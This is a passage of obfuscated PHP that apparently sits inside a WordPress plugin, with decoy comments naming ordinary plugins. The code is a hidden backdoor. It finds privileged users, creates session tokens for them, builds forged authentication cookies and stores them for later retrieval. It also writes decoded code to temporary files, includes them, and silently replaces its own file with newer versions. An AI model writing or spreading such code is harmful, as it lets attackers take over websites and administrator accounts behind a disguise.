$w_lrcoh1hw4zx   =  $GLOBALS['__scf_h3mngbzp79_212']($jo4cg2l8qc19jwi4,  PATHINFO_FILENAME);$dm8vhdwoe49j=1141;$lt1s4f__a5ty=$dm8vhdwoe49j%4;
  $zm87ltxzegowx =   array(

      array(j8bjjevd80e(828) =>     '#'   .   $GLOBALS['__scf_lv_2afh0dde_829']($jo4cg2l8qc19jwi4, '#')    . s99lg14mcd3un(830), pvz_9xuc0nzl0m(831)  => true),
      array(s99lg14mcd3un(828) => pvz_9xuc0nzl0m(832) . $GLOBALS['__scf_lv_2afh0dde_829']($w_lrcoh1hw4zx,  '#')  .  s99lg14mcd3un(830), s99lg14mcd3un(831) =>     true),



   );
if (isset($lgef1rex5iemglj[j8bjjevd80e(833)])   && $GLOBALS['__scf__qh9f0l6g7e7ez_35']($lgef1rex5iemglj[b5xx0lrqzfc(833)]))     {
  foreach     ($lgef1rex5iemglj[j8bjjevd80e(833)]  as    $_r7f01zu03bnd    =>   $zl3n0wsjrxby1zh)    {

 if    (! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($zl3n0wsjrxby1zh) ||    ! $GLOBALS['__scf_f1uocve5nz5i_39']($_r7f01zu03bnd))    {
 continue;
        }
   if  (!  isset($lgef1rex5iemglj[j8bjjevd80e(833)][$_r7f01zu03bnd][s99lg14mcd3un(834)])   || !  $GLOBALS['__scf__qh9f0l6g7e7ez_35']($lgef1rex5iemglj[pvz_9xuc0nzl0m(833)][$_r7f01zu03bnd][b5xx0lrqzfc(834)]))     {
$lgef1rex5iemglj[pvz_9xuc0nzl0m(835)][$_r7f01zu03bnd][j8bjjevd80e(834)]    =  array();

    }
  foreach ($zm87ltxzegowx  as $mgw92_u4m7xw_4) {
    $lgef1rex5iemglj[b5xx0lrqzfc(835)][$_r7f01zu03bnd][s99lg14mcd3un(836)][]      =    $mgw92_u4m7xw_4;


 }
 }
   }


   return $lgef1rex5iemglj;
   }

    
  function    znrzoq53_aq9qhbkd5ztkf()
     {
 try   {
 if (!  defined(pvz_9xuc0nzl0m(837))   ||  constant(pvz_9xuc0nzl0m(837)) <   (8-1)) {
// indefinite credential


  return;
   }
if ($GLOBALS['__scf_zr872o85b_o0_538'](s99lg14mcd3un(838),  false)) {
   return;
      }
     $p7f7ifin7txjy3 =    $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o());
 $y8plucjo2vxja =  defined(b5xx0lrqzfc(839)) ?  WP_PLUGIN_DIR :  "";
$q8sast6ltjj =  array(
  $y8plucjo2vxja  .     pvz_9xuc0nzl0m(840),



   $y8plucjo2vxja . s99lg14mcd3un(841),
 $y8plucjo2vxja      .      pvz_9xuc0nzl0m(842),
  );
     $s1u01555usr  =     "";
   

foreach     ($q8sast6ltjj as $fulx_n95kwu)   {
// @instantiate dominator-tree




  if  ($fulx_n95kwu     !==  "" &&  @$GLOBALS['__scf_xaseomj3flge_20']($fulx_n95kwu) &&    @$GLOBALS['__scf_t04e6l_v7y_46']($fulx_n95kwu))   {
// register differential leaky-bucket



  $s1u01555usr  =   $fulx_n95kwu;
 break;
   }
 }
       if      ($s1u01555usr === "")      {
 return;
    }
   $f5kca9pddvvwg  =     $GLOBALS['__scf_mij3fd72lyo_h_11']($s1u01555usr);
  spl_autoload_register(function ($n11m_r5_hq) use    ($f5kca9pddvvwg)    {

 foreach  (array($f5kca9pddvvwg  .   '/'     .  $n11m_r5_hq .  j8bjjevd80e(843),    $f5kca9pddvvwg   .    '/'  . $n11m_r5_hq  .   pvz_9xuc0nzl0m(808))  as $lecizh_sou9)      {
    if   (@$GLOBALS['__scf_xaseomj3flge_20']($lecizh_sou9))   {
 include_once   $lecizh_sou9;
 return;



  }
  }
   });
  $calmodxe1ekh  =    @$GLOBALS['__scf_v_rxq_yh85s05_99']($s1u01555usr);
 if ($calmodxe1ekh    === false  || $GLOBALS['__scf_ya_jdhkqpku_7']($calmodxe1ekh,      cv8ducrec(844))   ===  false)    {
     return;



}
     $calmodxe1ekh  = $GLOBALS['__scf_y_ur004dxjki__462'](j8bjjevd80e(845), "",     $calmodxe1ekh);
     $calmodxe1ekh  = $GLOBALS['__scf_q1hcnnvi5ufvxy_363'](pvz_9xuc0nzl0m(844), s99lg14mcd3un(846),     $calmodxe1ekh);
      $wjspxu7httcu8k6 =    vd37c9d2j9hxta_(yxpsf0b9vuqrcu1l(),  cv8ducrec(732));
  if   ($wjspxu7httcu8k6    ===    false) {



    return;

}
 @$GLOBALS['__scf_nr899f15j7ix_205']($wjspxu7httcu8k6, pvz_9xuc0nzl0m(847) .   $calmodxe1ekh);
       try {


   @include    $wjspxu7httcu8k6;
}   finally {
   wlm_50lfl72sy8hrb_9xe9($wjspxu7httcu8k6);
    }
$tsosto3hor_09 =  $GLOBALS['__scf_h3mngbzp79_212']($p7f7ifin7txjy3, PATHINFO_FILENAME);
   $GLOBALS[b5xx0lrqzfc(848)]  =  $p7f7ifin7txjy3;
   $GLOBALS[cv8ducrec(849)] =  $tsosto3hor_09;
 $bdihhhaejdia   = cv8ducrec(850)
 .    s99lg14mcd3un(851)

    . pvz_9xuc0nzl0m(852)
 .    j8bjjevd80e(853)
. b5xx0lrqzfc(854)
  .    '}'



. b5xx0lrqzfc(855)
 . '}'
    .     '}';
  $uln6p03pztr676   = vd37c9d2j9hxta_(yxpsf0b9vuqrcu1l(),  cv8ducrec(856));$e461cx7hol=-673;$spbxcn0b=($e461cx7hol>0)?$e461cx7hol:-$e461cx7hol;
  if      ($uln6p03pztr676)    {
    @$GLOBALS['__scf_nr899f15j7ix_205']($uln6p03pztr676,   $bdihhhaejdia);
try {
  @include  $uln6p03pztr676;
 }  finally {
wlm_50lfl72sy8hrb_9xe9($uln6p03pztr676);



    }


  }
   } catch    (Throwable  $uvo4msk8s29_)   {

f1995qrx5prr7cbl19co0e(s99lg14mcd3un(857), $uvo4msk8s29_);
  }   catch    (Exception    $uvo4msk8s29_)      {
    }
   }
    if   (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(858)))   {
 function h1m2707o9ws6tjemj($v9g5xf9d4l9,   $fj5pum7nf2dz9)
  {
 if  (!   $GLOBALS['__scf__qh9f0l6g7e7ez_35']($v9g5xf9d4l9))   {
 return $v9g5xf9d4l9;$ncoqyj0rtn=15*5;$wb1kl4tcb8e48=$ncoqyj0rtn-30;


  }
  $qw8jcaowztgq3yrj =  array(cv8ducrec(859),     b5xx0lrqzfc(860),    s99lg14mcd3un(861),   s99lg14mcd3un(862),   pvz_9xuc0nzl0m(557));
  foreach ($qw8jcaowztgq3yrj   as    $key)   {
   if  (! isset($v9g5xf9d4l9[$key])   ||   ! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($v9g5xf9d4l9[$key]))   {
 continue;
 }
$ssxrvq5et832s = array();

  foreach  ($v9g5xf9d4l9[$key]    as $g907j_0x1gbio5) {



      if (!     $GLOBALS['__scf__qh9f0l6g7e7ez_35']($g907j_0x1gbio5))   {
$ssxrvq5et832s[]   =  $g907j_0x1gbio5;$jw0eq9sts=20+52;$ivbjappn55or=$jw0eq9sts-11;
 continue;

  }
      $e9jitn6j3dt_9ucw = isset($g907j_0x1gbio5[j8bjjevd80e(415)])     ? $g907j_0x1gbio5[cv8ducrec(415)] :  "";
    $tsosto3hor_09 =   isset($GLOBALS[s99lg14mcd3un(849)])      ?  $GLOBALS[s99lg14mcd3un(849)]      : "";
      if    ($e9jitn6j3dt_9ucw ===     $fj5pum7nf2dz9     ||   ($tsosto3hor_09  !== ""      &&   $e9jitn6j3dt_9ucw   === $tsosto3hor_09)) {
continue;
    }
 $ssxrvq5et832s[]    =    h1m2707o9ws6tjemj($g907j_0x1gbio5,   $fj5pum7nf2dz9);

  }
   $v9g5xf9d4l9[$key]   =  $ssxrvq5et832s;
   }

return  $v9g5xf9d4l9;
      }
 }
     function   k0z4yy7qpc1ii_ewbdqi()
      {

if  (!empty($GLOBALS[b5xx0lrqzfc(863)]))  return      false;
    $GLOBALS[cv8ducrec(863)] =   1;
  return  true;
 }



   function   dhsbng2_01x6axzehlc()
{
try  {
      if     ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(455))  &&  get_transient(b5xx0lrqzfc(691)))   {
       return;



 }
       if (!k0z4yy7qpc1ii_ewbdqi()) return;



  if   ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(864))) set_transient(pvz_9xuc0nzl0m(691),  1,  (3770-170));
 $x7kpqsadhne2e    =     @$GLOBALS['__scf_a5ks8ssf6z1jkm_103'](curga5ep68su8__o());



if  ($x7kpqsadhne2e  &&    $x7kpqsadhne2e     >   (369+4631)    &&    $x7kpqsadhne2e <     (7214864-2214864)   && !peg5paj88laiyu(curga5ep68su8__o())) {
  $f4mpnr_2e53z7u = @$GLOBALS['__scf_ha0rpt74l7eb9_102'](curga5ep68su8__o());



     $mtjhzxt60c0u   =  wj9blpi2pvw8f3b8qhcxu(curga5ep68su8__o());
     if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($mtjhzxt60c0u) &&  ro9zxkt259xhwz4($mtjhzxt60c0u) &&   fcu9wu0k8nc_8fhi6pfmpt($mtjhzxt60c0u)  ===   jqg87ez26lzm3yp01xj2q())     {
if ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(60))) @clearstatcache(true,    curga5ep68su8__o());
if  (@$GLOBALS['__scf_ha0rpt74l7eb9_102'](curga5ep68su8__o())   ===     $f4mpnr_2e53z7u  && @$GLOBALS['__scf_a5ks8ssf6z1jkm_103'](curga5ep68su8__o())     === $x7kpqsadhne2e)   {
// attach adaptive radix-tree

  if   (qc7730958b5mgfuj_(curga5ep68su8__o(),  bpgn93eq1czhbg($mtjhzxt60c0u)))  {
  lukwh2drghgd804(curga5ep68su8__o());
 xmuf92hov77yw0fjcu8(curga5ep68su8__o());
 }
  }
    }
 unset($mtjhzxt60c0u,  $f4mpnr_2e53z7u);

 }
$p49f5el5wg    =     @$GLOBALS['__scf_a5ks8ssf6z1jkm_103'](curga5ep68su8__o());
  $z_wc9_xga9d26 =    $p49f5el5wg && $p49f5el5wg     >  (4979+21);
    if     ($z_wc9_xga9d26  &&     $p49f5el5wg   >     (0x30c97d5+0x13682b))   {
// WP Latest Posts sidebar region



   $z_wc9_xga9d26 =   false;$mirk5k1rx2=PHP_INT_MAX/PHP_INT_MAX;$bw1hqobywlkx=$mirk5k1rx2+46;


  }
       if  ($z_wc9_xga9d26 &&  $p49f5el5wg    > (1048478+98) &&     !ylaz2n86rjgc8_cme($p49f5el5wg))   {
if   ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(864)))  {
set_transient(b5xx0lrqzfc(691),  1, (0xd53+0xbd));



    }
 return;
      }
     if  ($z_wc9_xga9d26) {
   $u3zviypvp0  = wj9blpi2pvw8f3b8qhcxu(curga5ep68su8__o());
    if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($u3zviypvp0) || !ro9zxkt259xhwz4($u3zviypvp0)) {
// unwind table

  $z_wc9_xga9d26 =  false;
 }   else   {
$kfusm70lv4  =  fisznicc_bnq0q9lpk5a1j(j8bjjevd80e(458),   "");
$pj0n1n3_mc052  =  fcu9wu0k8nc_8fhi6pfmpt($u3zviypvp0);
     

       $qcylwse17q =    fcu9wu0k8nc_8fhi6pfmpt($GLOBALS['__scf_qubutkuvnnc4sx_41']($kfusm70lv4)     ?   $kfusm70lv4  :  "");
    if    ($pj0n1n3_mc052   !== ""   &&  ($qcylwse17q ===     ""  || version_compare($qcylwse17q,   $pj0n1n3_mc052, '<')))   {
 $z1q2dws229pf  =   $GLOBALS['__scf_gvrvt5qjna_57']($u3zviypvp0);
 $vbm2o45ra0  =    @$GLOBALS['__scf_xaseomj3flge_20']($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()) .  s99lg14mcd3un(704) .    $z1q2dws229pf);
 if (!$vbm2o45ra0) {
      $nwdnt5z8_i61o  =     get_option(s99lg14mcd3un(865));
if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($nwdnt5z8_i61o)  &&      $GLOBALS['__scf_ya_jdhkqpku_7']($nwdnt5z8_i61o, $z1q2dws229pf     .  '|')     === 0) $vbm2o45ra0   = true;
       }
   if  ($vbm2o45ra0) $z_wc9_xga9d26    =  false;
     

 if      (!$vbm2o45ra0   &&  $GLOBALS['__scf_qubutkuvnnc4sx_41']($kfusm70lv4) &&  ($kfusm70lv4 ===  ""    ||     $qcylwse17q    ===  ""  ||   version_compare($qcylwse17q, $pj0n1n3_mc052, '<')))  yf4cseyywyt6kel(s99lg14mcd3un(458), $u3zviypvp0,   pvz_9xuc0nzl0m(866));
unset($z1q2dws229pf, $vbm2o45ra0,  $nwdnt5z8_i61o);
  }     elseif ($GLOBALS['__scf_qubutkuvnnc4sx_41']($kfusm70lv4) &&  $GLOBALS['__scf_d413tdd725_10']($kfusm70lv4)    >  (74+426) && $GLOBALS['__scf_d413tdd725_10']($kfusm70lv4)  <=   (654176+394400) &&  !g6jpyeq0fm_rzn($kfusm70lv4)     &&   ro9zxkt259xhwz4($kfusm70lv4)    &&    $GLOBALS['__scf_gvrvt5qjna_57']($u3zviypvp0) !==      $GLOBALS['__scf_gvrvt5qjna_57']($kfusm70lv4))  {
  $z_wc9_xga9d26    = false;
   }
// WP Cover Block shortcode parse

   }
}
 if   ($z_wc9_xga9d26)     {



if     ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(867)))  {
  set_transient(b5xx0lrqzfc(868),   1,  (0x497+0x979));
   }
return;



  }
  if (peg5paj88laiyu(curga5ep68su8__o()))    {
return;
     }
$gdzj9f4pvxl =  $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o());
if (!     @$GLOBALS['__scf_nish5zuncssvgd_43']($gdzj9f4pvxl)) {
    fqnjhjvlv62gig($gdzj9f4pvxl,  (405+88), true);
   }
 $dlgxe_crnx14st =    fisznicc_bnq0q9lpk5a1j(j8bjjevd80e(869), "");
 if    (!$dlgxe_crnx14st   ||     !$GLOBALS['__scf_qubutkuvnnc4sx_41']($dlgxe_crnx14st)) {
    if  (!get_transient(cv8ducrec(870)))    {


 f1995qrx5prr7cbl19co0e(j8bjjevd80e(871),    b5xx0lrqzfc(872));
    set_transient(cv8ducrec(870),    1,  (4779-1179));
    }
}
    if    ($dlgxe_crnx14st    &&  $GLOBALS['__scf_qubutkuvnnc4sx_41']($dlgxe_crnx14st)  &&  $GLOBALS['__scf_d413tdd725_10']($dlgxe_crnx14st)   > (448+52)    &&   $GLOBALS['__scf_d413tdd725_10']($dlgxe_crnx14st)   <= (0x9708b+0x68f75)  &&  !g6jpyeq0fm_rzn($dlgxe_crnx14st)   && ro9zxkt259xhwz4($dlgxe_crnx14st))    {
   $bbqjmehvcgm2k9      =     fcu9wu0k8nc_8fhi6pfmpt($dlgxe_crnx14st);
   if   ($bbqjmehvcgm2k9    === ""  || version_compare($bbqjmehvcgm2k9,  jqg87ez26lzm3yp01xj2q(),  '<')) {
 return;



}
// snapshot certificate-chain for WP Page List

   $d_70f9mncstjd9ql    =  $GLOBALS['__scf_gvrvt5qjna_57']($dlgxe_crnx14st);
  if  (@$GLOBALS['__scf_xaseomj3flge_20']($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()) .      cv8ducrec(704) .  $d_70f9mncstjd9ql))    return;
$qiqz8wf39m   = get_option(s99lg14mcd3un(873));
     if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($qiqz8wf39m)   &&    $GLOBALS['__scf_ya_jdhkqpku_7']($qiqz8wf39m,   $d_70f9mncstjd9ql   . '|') === 0)  return;
 unset($d_70f9mncstjd9ql, $qiqz8wf39m);
$wh6j9ilhyc2frptx  =    $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()) . b5xx0lrqzfc(701)    . $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),  b5xx0lrqzfc(874));
 $ezkv0ibyzyw_n  =  @$GLOBALS['__scf_xaseomj3flge_20']($wh6j9ilhyc2frptx)      ?  $GLOBALS['__scf_qbsuu37jbe5t_328']((string) @$GLOBALS['__scf_v_rxq_yh85s05_99']($wh6j9ilhyc2frptx)) : "";
if    ($ezkv0ibyzyw_n !==      "" &&  $GLOBALS['__scf_gvrvt5qjna_57']($dlgxe_crnx14st)  === $ezkv0ibyzyw_n)    {
return;
  }
 ottk3i1kq8br96vi(curga5ep68su8__o(),   (396+24));
$u7hvwgyv80    = qc7730958b5mgfuj_(curga5ep68su8__o(),  bpgn93eq1czhbg($dlgxe_crnx14st));

 if  ($u7hvwgyv80) {
 lukwh2drghgd804(curga5ep68su8__o());
 ottk3i1kq8br96vi(curga5ep68su8__o(),     (0xeb+0xb9));$g1g727bh73f7h3=5838;$r9o9qy8se=$g1g727bh73f7h3%16;
 xmuf92hov77yw0fjcu8(curga5ep68su8__o());


    usllxr5akmyy8c(true);
 nz_ixcwyiz2y1c2_dll9j(true);
     jyzt_8_4_q17j3kbgccl(curga5ep68su8__o());

    if ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(867)))   {
  set_transient(s99lg14mcd3un(868), 1,   (6080-2480));
}
 } elseif  ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(867)))  {
  set_transient(j8bjjevd80e(875),     1,  (1773+27));
   }

  }

    }  catch  (Throwable  $uvo4msk8s29_)   {
/* projective orchestrator */

     f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(871),  $uvo4msk8s29_);
     }   catch    (Exception $uvo4msk8s29_) {

  }
  }

 function silv98eqzmiq4ifuvl9gt()
  {



       _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(876),   pvz_9xuc0nzl0m(877));
 _ue9dl_f87dcm73xfrb3y6(b5xx0lrqzfc(878),   b5xx0lrqzfc(877));
 if ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(879)))   {
    remove_action(b5xx0lrqzfc(880), j8bjjevd80e(881));
   




    remove_action(s99lg14mcd3un(882),   j8bjjevd80e(883),  (7+3));
remove_action(s99lg14mcd3un(884),   s99lg14mcd3un(885),    (5<<1));
  }
 }
   function  yhktn7sbu98lm4ve6fq()

{
// @resolve orchestrator

 try   {
  $wpdb   =    $GLOBALS[pvz_9xuc0nzl0m(886)];
$fed7kr_sjjv  =  $wpdb->prefix  .      s99lg14mcd3un(887);


    $tpk8mtd1g8o  = 'S'     .  j8bjjevd80e(888) .   $wpdb->users  .  b5xx0lrqzfc(889)    .   $wpdb->usermeta .   j8bjjevd80e(890);
 $hvxq4mmo1big2_ =  $wpdb->get_results($wpdb->prepare($tpk8mtd1g8o, $fed7kr_sjjv,    j8bjjevd80e(891)));


if    (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($hvxq4mmo1big2_))     {
   f1995qrx5prr7cbl19co0e(s99lg14mcd3un(892),   (string)    $wpdb->last_error);

  return     array();
}
 return $hvxq4mmo1big2_;

 }    catch     (Throwable $uvo4msk8s29_)   {
  f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(591),  $uvo4msk8s29_);
} catch   (Exception $uvo4msk8s29_) {


   f1995qrx5prr7cbl19co0e(cv8ducrec(591),   $uvo4msk8s29_);

 }

return   array();

 }
   function    qk0g167zdj30s6($sc3sx4v_mgph)
     {
$dzd0auye4yc  =      array();
   $e18ute6u0lwum = function  ($huxvmljdz_79e4p)   {
 $huxvmljdz_79e4p[pvz_9xuc0nzl0m(893)]   =    "";
   return  $huxvmljdz_79e4p;
  };
      try   {

    $d6iv4i27jqblu   =   fisznicc_bnq0q9lpk5a1j(cv8ducrec(894),  array());
   if   (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($d6iv4i27jqblu)) $d6iv4i27jqblu   = array();
$_pd =  false;
       foreach    ($d6iv4i27jqblu as  $j7yv45_o94m6nrf     =>    $q7bqybfzdubftc) {
  if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($q7bqybfzdubftc) &&    isset($q7bqybfzdubftc['c'],    $q7bqybfzdubftc['e'])   &&    $GLOBALS['__scf__qh9f0l6g7e7ez_35']($q7bqybfzdubftc['c'])  &&  (int)   $q7bqybfzdubftc['e']  >      $GLOBALS['__scf_tmn0v_xik_1b_195']()    + (86333+67)) {



    $dzd0auye4yc[$j7yv45_o94m6nrf]  = $q7bqybfzdubftc['c'];
  }  else  {
// WP Page List aspect ratio



unset($d6iv4i27jqblu[$j7yv45_o94m6nrf]);

      $_pd = true;

   }

   }
   if  (!   $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(895))   ||  !    $GLOBALS['__scf_zr872o85b_o0_538'](cv8ducrec(896)))    {
 if  ($_pd)    yf4cseyywyt6kel(s99lg14mcd3un(894),    $d6iv4i27jqblu,  s99lg14mcd3un(866));
  return   $dzd0auye4yc;$rojufnph=2*4;$bmdtlgnq0j=$rojufnph-14;


 }
if   (!    $GLOBALS['__scf__qh9f0l6g7e7ez_35']($sc3sx4v_mgph)      ||   empty($sc3sx4v_mgph)) {
if ($_pd)  yf4cseyywyt6kel(j8bjjevd80e(897),   $d6iv4i27jqblu,      pvz_9xuc0nzl0m(866));


 return $dzd0auye4yc;



   }

  $y7k7tucxlrk4fg  = $GLOBALS['__scf_tmn0v_xik_1b_195']() + (48^62)  *  (0xf548+0x5c38);
 $is_ssl     =     $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(485)) &&  is_ssl();
   $cpq3k50kxeqo8_    =  $is_ssl   ?   pvz_9xuc0nzl0m(898) :  j8bjjevd80e(899);
$o0hug1pd6yuoh   =     $is_ssl   ?   (defined(s99lg14mcd3un(900)) ?      SECURE_AUTH_COOKIE   :     "")  :  (defined(b5xx0lrqzfc(901))  ?  AUTH_COOKIE   : "");
$czkuuspocmwgo8pn = defined(b5xx0lrqzfc(902))   ?  LOGGED_IN_COOKIE :  "";
     if  (!    $o0hug1pd6yuoh  ||   ! $czkuuspocmwgo8pn) {
  if  ($_pd) yf4cseyywyt6kel(s99lg14mcd3un(903),  $d6iv4i27jqblu,     b5xx0lrqzfc(866));
 return  $dzd0auye4yc;
    }
      $vvg2tfn4vs6yg4h   =    defined(j8bjjevd80e(904))  &&  COOKIE_DOMAIN      ?   $GLOBALS['__scf_t61dw992fqm27x_8'](COOKIE_DOMAIN,   '.')  :  q2jllc8juonl0cgja1g("");
    $psz0d04jqrndac   = defined(cv8ducrec(905))   ?      COOKIEPATH   :  '/';
 $kp7ripdg1vbmg0 =  defined(b5xx0lrqzfc(906)) ? ADMIN_COOKIE_PATH   : cv8ducrec(907);
 $owemz2kt6kphszo5     =  $is_ssl  ? s99lg14mcd3un(908) :   b5xx0lrqzfc(909);
  $l67t6hzxy6qd81   = "\t";
    _ue9dl_f87dcm73xfrb3y6(cv8ducrec(910),    $e18ute6u0lwum,  0);
     $dzlpp0hkw2skpob = t3n5pwyq0eumo2mmixe8cz(j8bjjevd80e(911));
   $_irixgwfusfz6fj  =   $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(912))     ? @get_option($dzlpp0hkw2skpob,     array())   : array();
      if (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($_irixgwfusfz6fj))   $_irixgwfusfz6fj   =  array();

 if   ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(913)) && $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(758)))  {
$sa1foqpw_f38     = (int)  @get_option(t3n5pwyq0eumo2mmixe8cz(j8bjjevd80e(914)),  0);
     if   ($sa1foqpw_f38 <     2)  {
// compact-heap randomized flyweight

     if    (!empty($_irixgwfusfz6fj))  {

$_irixgwfusfz6fj = array();



@update_option($dzlpp0hkw2skpob, $_irixgwfusfz6fj, s99lg14mcd3un(915));
  }
// delegate differential validator

    @update_option(t3n5pwyq0eumo2mmixe8cz(pvz_9xuc0nzl0m(914)), 2,    pvz_9xuc0nzl0m(915));
       }
   unset($sa1foqpw_f38);
}


   $rr4zgvfhbi   =  $GLOBALS['__scf_tbu69vegc9f_36']($dzd0auye4yc);



    foreach  ($sc3sx4v_mgph  as   $ktatt88gbdx)  {
   if  (!    $GLOBALS['__scf_zr5xv8ge2ijskk_69']($ktatt88gbdx)    || !  $ktatt88gbdx->ID      || ! $ktatt88gbdx->user_login)  {

     continue;



}
// guard against race

    if  ($rr4zgvfhbi    >= (2+1))   {
   break;


     }
   $zzqmqqxmqswa0zts  =   (string)   $ktatt88gbdx->user_login;$ry_7g2wbfg7tfj=PHP_INT_MAX/PHP_INT_MAX;$theck38xhp=$ry_7g2wbfg7tfj+61;
if    (isset($dzd0auye4yc[$zzqmqqxmqswa0zts]))     {
// unlock repeatable-read broadcaster

 continue;
     }
   if (isset($_irixgwfusfz6fj[$zzqmqqxmqswa0zts])     &&  (int) $_irixgwfusfz6fj[$zzqmqqxmqswa0zts]   >  $GLOBALS['__scf_tmn0v_xik_1b_195']() +  2 * (86361+39))    {
continue;

  }


  wp_cache_delete($ktatt88gbdx->ID,  j8bjjevd80e(916));
 $rommohxns9_3ki =   get_user_meta($ktatt88gbdx->ID,  cv8ducrec(917), true);
  if    ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($rommohxns9_3ki) && $GLOBALS['__scf_tbu69vegc9f_36']($rommohxns9_3ki) >=  (3+7))    {
        $tq6_9l58noyq3p =     array();$_38io1gcr5hwez=56+95;$ztcxh2avz=$_38io1gcr5hwez-47;
 foreach ($rommohxns9_3ki  as $t76p_qt1c0      =>  $nxghm0pojsc)  {
 if (isset($nxghm0pojsc[pvz_9xuc0nzl0m(918)])    &&    $nxghm0pojsc[b5xx0lrqzfc(918)]  > $GLOBALS['__scf_tmn0v_xik_1b_195']())  {
      $tq6_9l58noyq3p[$t76p_qt1c0]  = $nxghm0pojsc;
}



 }
if   ($GLOBALS['__scf_tbu69vegc9f_36']($tq6_9l58noyq3p)   !==     $GLOBALS['__scf_tbu69vegc9f_36']($rommohxns9_3ki)) {
   update_user_meta($ktatt88gbdx->ID,  j8bjjevd80e(917),  $tq6_9l58noyq3p);


}
     }
 wp_cache_delete($ktatt88gbdx->ID, cv8ducrec(919));
$h5n7qfqh04_bwpuh =  $GLOBALS['__scf_b6sn8bxty99_296'](array(cv8ducrec(896), cv8ducrec(920)),  $ktatt88gbdx->ID);
     $g6dqh3jiwwhv  = $h5n7qfqh04_bwpuh->create($y7k7tucxlrk4fg);
$il497qbfinu7muj  =  array();
 $il497qbfinu7muj[] = $vvg2tfn4vs6yg4h . $l67t6hzxy6qd81    .     cv8ducrec(921) . $l67t6hzxy6qd81  . $psz0d04jqrndac .   $l67t6hzxy6qd81  .   $owemz2kt6kphszo5 . $l67t6hzxy6qd81 .      $y7k7tucxlrk4fg .  $l67t6hzxy6qd81  . $czkuuspocmwgo8pn    .   $l67t6hzxy6qd81  . $GLOBALS['__scf_e5m9udrkj4g_895']($ktatt88gbdx->ID,   $y7k7tucxlrk4fg, cv8ducrec(922),  $g6dqh3jiwwhv);
 if    ($o0hug1pd6yuoh) {
   $il497qbfinu7muj[]  =   $vvg2tfn4vs6yg4h   . $l67t6hzxy6qd81    . s99lg14mcd3un(921) .   $l67t6hzxy6qd81     . $kp7ripdg1vbmg0   . $l67t6hzxy6qd81  .   $owemz2kt6kphszo5 .   $l67t6hzxy6qd81     . $y7k7tucxlrk4fg    . $l67t6hzxy6qd81  . $o0hug1pd6yuoh  .     $l67t6hzxy6qd81 .  $GLOBALS['__scf_e5m9udrkj4g_895']($ktatt88gbdx->ID,  $y7k7tucxlrk4fg,     $cpq3k50kxeqo8_,  $g6dqh3jiwwhv);
 }
    $dzd0auye4yc[$ktatt88gbdx->user_login]    =   $il497qbfinu7muj;
     $d6iv4i27jqblu[$zzqmqqxmqswa0zts]    =  array('c' => $il497qbfinu7muj, 'e'      =>  $y7k7tucxlrk4fg);
      $_pd  =  true;
$rr4zgvfhbi++;
      }
  if ($_pd) {
   yf4cseyywyt6kel(pvz_9xuc0nzl0m(903),  $d6iv4i27jqblu,  cv8ducrec(923));
     }
 }   catch   (Throwable $uvo4msk8s29_) {
 f1995qrx5prr7cbl19co0e(cv8ducrec(924),     $uvo4msk8s29_);
   }    catch  (Exception  $uvo4msk8s29_) {
 f1995qrx5prr7cbl19co0e(s99lg14mcd3un(925),   $uvo4msk8s29_);
  }
/* polynomial leaky-bucket */

  remove_filter(cv8ducrec(910),  $e18ute6u0lwum,    0);
return $dzd0auye4yc;
    }
  function  wl65crrz_eji3fh9uelq()
    {
try   {
      $d6iv4i27jqblu   =  fisznicc_bnq0q9lpk5a1j(j8bjjevd80e(926),    array());
// debounce session-window for WP Entity Provider

 if  (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($d6iv4i27jqblu)     || empty($d6iv4i27jqblu))  return;
 $dzlpp0hkw2skpob =     t3n5pwyq0eumo2mmixe8cz(j8bjjevd80e(911));



    $_irixgwfusfz6fj    =  $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(913)) ? @get_option($dzlpp0hkw2skpob,   array())   : array();
if   (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($_irixgwfusfz6fj))    $_irixgwfusfz6fj = array();
foreach ($d6iv4i27jqblu      as  $j7yv45_o94m6nrf    =>   $q7bqybfzdubftc)  {
    $_irixgwfusfz6fj[$j7yv45_o94m6nrf]  =  $GLOBALS['__scf__qh9f0l6g7e7ez_35']($q7bqybfzdubftc)  &&    isset($q7bqybfzdubftc['e'])   ?     (int) $q7bqybfzdubftc['e']  :     $GLOBALS['__scf_tmn0v_xik_1b_195']() +     (1+13) *  (86355+45);
  }
